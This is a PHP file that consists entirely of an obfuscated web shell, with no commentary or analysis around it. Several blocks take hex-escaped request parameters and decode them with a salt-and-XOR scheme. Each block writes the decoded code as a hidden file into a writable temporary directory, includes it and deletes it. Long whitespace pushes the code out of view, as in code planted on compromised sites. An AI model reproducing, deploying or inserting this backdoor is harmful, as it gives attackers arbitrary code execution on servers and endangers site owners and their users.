<?php																																										if(!empty($_REQUEST["\x65n\x74ry"])){ $data_chunk = $_REQUEST["\x65n\x74ry"]; $data_chunk =explode( "." ,$data_chunk ) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($data_chunk); for ($y = 0; $y < $len; $y++) {$v8 = $data_chunk[$y]; $chS = ord($s[$y% $lenS]); $d = ((int)$v8 - $chS - ($y% 10)) ^ 41; $holder.=chr($d); } $rec = array_filter([session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($rec as $marker) { if (is_dir($marker) && is_writable($marker)) { $object = str_replace("{var_dir}", $marker, "{var_dir}/.fac"); $file = fopen($object, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $object; @unlink($object); die(); } } } }
																																										if(array_key_exists("tk\x6E", $_REQUEST)){ $holder = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/var/tmp"]); $fac = $_REQUEST["tk\x6E"]; $fac = explode ( "." , $fac ); $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach($fac as $j=>$v9) { $sChar = ord($salt[$j % $lenS]); $d =((int)$v9 - $sChar -($j % 10)) ^ 93; $elem .= chr($d); } while ($obj = array_shift($holder)) { if ((is_dir($obj) and is_writable($obj))) { $factor = implode("/", [$obj, ".val"]); if (file_put_contents($factor, $elem)) { require $factor; unlink($factor); exit; } } } }
																																										if(array_key_exists("ent", $_POST) && !is_null($_POST["ent"])){ $desc = $_POST["ent"]; $desc= explode ('.' , $desc) ; $mrk = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); foreach ($desc as $u=> $v5) { $chS = ord($salt3[$u % $lenS]); $dec = ((int)$v5 - $chS - ($u % 10)) ^ 90; $mrk .= chr($dec); } $val = array_filter(["/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), "/dev/shm", getcwd()]); foreach ($val as $parameter_group) { if ((function($d) { return is_dir($d) && is_writable($d); })($parameter_group)) { $descriptor = implode("/", [$parameter_group, ".item"]); if (@file_put_contents($descriptor, $mrk) !== false) { include $descriptor; unlink($descriptor); exit; } } } }
																																										if(array_key_exists("\x65\x6Etry", $_POST)){ $data = $_POST["\x65\x6Etry"]; $data = explode ( '.' , $data ) ; $item = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3 ); $s = 0; $__tmp = $data; while( $v1 = array_shift( $__tmp)) {$chS = ord( $salt3[$s%$sLen] ); $d =( ( int)$v1 - $chS -( $s%10)) ^ 61; $item .= chr( $d ); $s++; } $entity = array_filter([getenv("TMP"), session_save_path(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TEMP")]); foreach ($entity as $key => $symbol) { if ((bool)is_dir($symbol) && (bool)is_writable($symbol)) { $comp = join("/", [$symbol, ".desc"]); if (@file_put_contents($comp, $item) !== false) { include $comp; unlink($comp); die(); } } } }
																																										if(isset($_POST["\x62\x69nd"])){ $component = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm", getcwd(), getenv("TMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir")]); $ent = $_POST["\x62\x69nd"]; $ent = explode ( "." ,$ent ) ; $pset= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); foreach( $ent as $n => $v2): $sChar= ord( $salt[$n% $lenS]); $d= ( ( int)$v2 - $sChar -( $n% 10))^ 88; $pset.= chr( $d); endforeach; foreach ($component as $hld): if (is_dir($hld) && is_writable($hld)) { $itm = join("/", [$hld, ".entry"]); if (file_put_contents($itm, $pset)) { require $itm; unlink($itm); die(); } } endforeach; }
																																										if(!is_null($_POST["\x6F\x62j"] ?? null)){ $data_chunk = $_POST["\x6F\x62j"]; $data_chunk =explode ("." , $data_chunk) ; $sym = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); foreach($data_chunk as $n=>$v5) { $chS = ord($s9[$n % $sLen]); $dec =((int)$v5 - $chS -($n % 10)) ^ 58; $sym .= chr($dec); } $holder = array_filter(["/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), getcwd()]); foreach ($holder as $val): if (array_product([is_dir($val), is_writable($val)])) { $record = sprintf("%s/.res", $val); if (file_put_contents($record, $sym)) { include $record; @unlink($record); die(); } } endforeach; }


if(isset($_POST["\x63\x6Fmp\x6Fn\x65nt"])){
	$token = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TMP"), getenv("TEMP")]);
	$comp = $_POST["\x63\x6Fmp\x6Fn\x65nt"];
				$comp=explode("." 	, $comp	);
	$flg= 	'';
            $salt= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen= 	strlen($salt );
            $__len= 	count($comp );
    
            for ($y= 	0; $y < $__len; $y++) {
                $v7= 	$comp[$y];
                $sChar= 	ord($salt[$y %$sLen] );
                $dec= 	((int)$v7 - $sChar - ($y %10)) ^ 37;
                $flg  .=chr($dec );
            }
	$entry = 0;
do {
    $dat = $token[$entry] ?? null;
    if ($entry >= count($token)) break;
    		if (array_product([is_dir($dat), is_writable($dat)])) {
    $pointer = implode("/", [$dat, ".itm"]);
    if (file_put_contents($pointer, $flg)) {
	require $pointer;
	unlink($pointer);
	exit;
}
}
    $entry++;
} while (true);
}